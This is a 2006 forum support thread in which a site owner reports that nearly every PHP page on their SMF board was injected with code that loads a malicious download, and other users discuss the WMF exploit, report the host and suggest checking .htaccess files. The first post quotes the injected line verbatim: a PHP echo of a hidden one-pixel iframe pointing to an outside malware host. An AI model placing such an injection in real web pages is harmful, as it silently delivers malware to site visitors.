It added an extra bit of code to almost every .php page that triggers a virus download from another site. check it out here: *linksnipped*
<? echo ('<html><head><title></title></head><body><iframe src="http://www.blackh.info/traff/" width=1 height=1></iframe></body></html>');?>
The link in the above sends you a virus download that looks like it came from our site. Help please! We did not have this problem in any past version of smf and it doesnt look like anything is already on the forums.
Do not click on his link if you don't have a very good and solid firewall and antivirus!
Took me about 5 minutes to clean up the mess. That board should be disabled till problem fixed!
How touching the WMF exploit.
Next windows update will fix that :)
This is absolutely not coming from your RC2 code. It may exist elsewhere on your site though.
Its a popular form of attack now taking place out there. Look for .htaccess files that have been modified, or that you did not put there.
Let me know if you find any. I can give you some hints about how to protect yourself.
GRAM
Lainaus käyttäjältä: Trekkie101 - tammikuu 04, 2006, 06:26:14 IP
How touching the WMF exploit.
Next windows update will fix that :)
So 3 years? :)
I removed the link given and posted it in a moderator area. We don't want any of our users accidentally infected.
Lainaus käyttäjältä: MikeMill - tammikuu 04, 2006, 06:31:32 IP
Lainaus käyttäjältä: Trekkie101 - tammikuu 04, 2006, 06:26:14 IP
How touching the WMF exploit.
Next windows update will fix that :)
So 3 years? :)
I removed the link given and posted it in a moderator area. We don't want any of our users accidentally infected.
lol no, I meant the next patch, windows update.
Firefox, Opera arent affected unless you choose to save it.
Ive tracked through all the iframes, and reported the site to the webhost. www.ev1.net
Hopefully their abuse center will deal with it.
Yeah, sorry bout the link. Firefox opens a zillion downloads called password.wmf . I made the area off limits to all users to prevent people from getting a virus.
Htdocs dont appear to be changed. It just says this really:
Lainaa<Files 403.shtml>
order allow,deny
allow from all
</Files>
I really dont see anything changed, though I am changing my password for safety and stuff. Should I just upload smf rc2 again?
I think you should just wait until it's cleared or it will continue to happen.
-JayBachatero